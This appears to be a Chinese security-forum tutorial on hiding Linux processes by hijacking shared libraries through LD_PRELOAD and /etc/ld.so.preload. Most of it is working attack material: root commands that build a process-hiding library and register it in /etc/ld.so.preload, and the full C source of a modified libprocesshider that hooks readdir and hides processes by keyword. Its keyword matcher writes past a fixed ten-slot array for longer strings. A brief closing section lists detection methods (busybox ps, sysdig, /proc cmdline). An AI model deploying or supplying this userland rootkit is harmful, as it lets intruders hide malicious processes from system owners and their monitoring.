安全矩阵

 找回密码
 立即注册
搜索
查看: 2785|回复: 0

linux隐藏进程-预加载库或lib劫持

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-9 09:17:17 | 显示全部楼层 |阅读模式
原文链接:linux隐藏进程-预加载库或lib劫持

劫持lib库方式隐藏进程
原理解析:利用环境变量LD_PRELOAD或者配置ld.so.preload文件使的恶意的动态库先于系统标准库加载,以达到架空系统标准库中相关函数的目的,最终实现对特定进程的隐藏。
实现通过劫持lib库隐藏进程
这里参考:
https://github.com/gianlucaborello/libprocesshider ,英文教程
https://www.anquanke.com/post/id/226285
首先下载环境
git clone git@github.com:gianlucaborello/libprocesshider.git
cd libprocesshider-master自定义过滤函数
编辑 processhider.c,根据需要过滤的程序名称,修改process_to_filter变量值。这里需要注意下,这里匹配的是程序运行时候显示的名字,如果要使用python运行的话,这里应该填写的是python,python3同理。这里填写evil_script.py那么执行的时候就应该使用./方式执行,这样程序名为evil_script.py才会匹配并过滤。
  1. ......
  2. /*
  3. * Every process with this name will be excluded
  4. */
  5. static const char* process_to_filter = "evil_script.py";

  6. ......
复制代码


配置环境
  1. parallels@ubuntu:~/Documents/libprocesshider-master$ make
  2. gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
  3. parallels@ubuntu:~/Documents/libprocesshider-master$ sudo mv libprocesshider.so /usr/local/lib/
  4. sudo -i 进入管理员权限
  5. root@ubuntu:/home/parallels/Documents/libprocesshider-master# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
复制代码



echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
cat /etc/ld.so.preload
测试ps是否会访问预加载,发现是加载了。
strace -f ps 2>&1 |grep ld.so.preload

这里注意需要./执行evil_script.py, 进程名才会被过滤,如果想使用python执行,那么前面processhider.c需要关键字设置为python。
然后ps查询,程序名称已被过滤。

当然这里也可以进行改进,我们在另外研究。如豪宝改的通过关键字检索并用于过滤进程,匹配关键字的进程隐藏。这段代码可以在这里查看更多细节 https://github.com/ghostsang/Learning-library
  1. # define _GNU_SOURCE

  2. # include <stdio.h>
  3. # include <dlfcn.h>
  4. # include <dirent.h>
  5. # include <string.h>
  6. # include <unistd.h>

  7. /*
  8. * Every process with this name will be excluded
  9. */
  10. static const char* process_to_filter = "script";

  11. /*
  12. * Get a directory name given a DIR* handle
  13. */
  14. static int get_dir_name(DIR* dirp, char* buf, size_t size)
  15. {
  16.     int fd = dirfd(dirp);
  17.     if(fd == -1) {
  18.         return 0;
  19.     }

  20.     char tmp[64];
  21.     snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  22.     ssize_t ret = readlink(tmp, buf, size);
  23.     if(ret == -1) {
  24.         return 0;
  25.     }

  26.     buf[ret] = 0;
  27.     return 1;
  28. }

  29. /*
  30. * Get a process name given its pid
  31. */
  32. static int get_process_name(char* pid, char* buf)
  33. {
  34.     if(strspn(pid, "0123456789") != strlen(pid)) {
  35.         return 0;
  36.     }

  37.     char tmp[256];
  38.     snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

  39.     FILE* f = fopen(tmp, "r");
  40.     if(f == NULL) {
  41.         return 0;
  42.     }

  43.     if(fgets(tmp, sizeof(tmp), f) == NULL) {
  44.         fclose(f);
  45.         return 0;
  46.     }

  47.     fclose(f);

  48.     int unused;
  49.     sscanf(tmp, "%d (%[^)]s", &unused, buf);
  50.     return 1;
  51. }

  52. static void Next(const char* T,int *next){
  53.     int i=1;
  54.     next[1]=0;
  55.     int j=0;
  56.     while (i<strlen(T)) {
  57.         if (j==0||T[i-1]==T[j-1]) {
  58.             i++;
  59.             j++;
  60.             next[i]=j;
  61.         }else{
  62.             j=next[j];
  63.         }
  64.     }
  65. }
  66. static int KMP(char * S,const char* T){
  67.     int next[10];
  68.     Next(T,next);
  69.     int i=1;
  70.     int j=1;
  71.     while (i<=strlen(S)&&j<=strlen(T)) {
  72.         if (j==0 || S[i-1]==T[j-1]) {
  73.             i++;
  74.             j++;
  75.         }
  76.         else{
  77.             j=next[j];
  78.         }
  79.     }
  80.     if (j>strlen(T)) {
  81.         return i-(int)strlen(T);
  82.     }
  83.     return -1;
  84. }


  85. # define DECLARE_READDIR(dirent, readdir)                                \
  86. static struct dirent* (*original_## readdir)(DIR*) = NULL;               \
  87.                                                                         \
  88. struct dirent* readdir(DIR *dirp)                                       \
  89. {                                                                       \
  90.     if(original_## readdir == NULL) {                                    \
  91.         original_## readdir = dlsym(RTLD_NEXT, # readdir);               \
  92.         if(original_## readdir == NULL)                                  \
  93.         {                                                               \
  94.             fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
  95.         }                                                               \
  96.     }                                                                   \
  97.                                                                         \
  98.     struct dirent* dir;                                                 \
  99.                                                                         \
  100.     while(1)                                                            \
  101.     {                                                                   \
  102.         dir = original_## readdir(dirp);                                 \
  103.         if(dir) {                                                       \
  104.             char dir_name[256];                                         \
  105.             char process_name[256];                                     \
  106.             if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
  107.                 strcmp(dir_name, "/proc") == 0 &&                       \
  108.                 get_process_name(dir->d_name, process_name) &&          \
  109.                 KMP(process_name, process_to_filter)!=-1) {         \
  110.                 continue;                                               \
  111.             }                                                           \
  112.         }                                                               \
  113.         break;                                                          \
  114.     }                                                                   \
  115.     return dir;                                                         \
  116. }

  117. DECLARE_READDIR(dirent64, readdir64);
  118. DECLARE_READDIR(dirent, readdir);
复制代码


这里测试含有script的过滤,evil_script.py 成功被过滤掉了。

应对方式
1、busybox
busybox ps方式执行ps,可以不预加载库对于劫持lib场景有奇效。
busybox ps

2、sysdig
还可以通过
  1. sudo sysdig -c topprocs_cpu     # 查看cpu进程占用情况
  2. sudo sysdig proc.name contains evil_script   # 针对包含evil_script的进程监测
  3. # 监测网络情况
  4. sudo sysdig -c topprocs_net
  5. sudo sysdig -c topconns
复制代码




3、/proc/PID/cmdline



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-2-18 11:40 , Processed in 0.021173 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表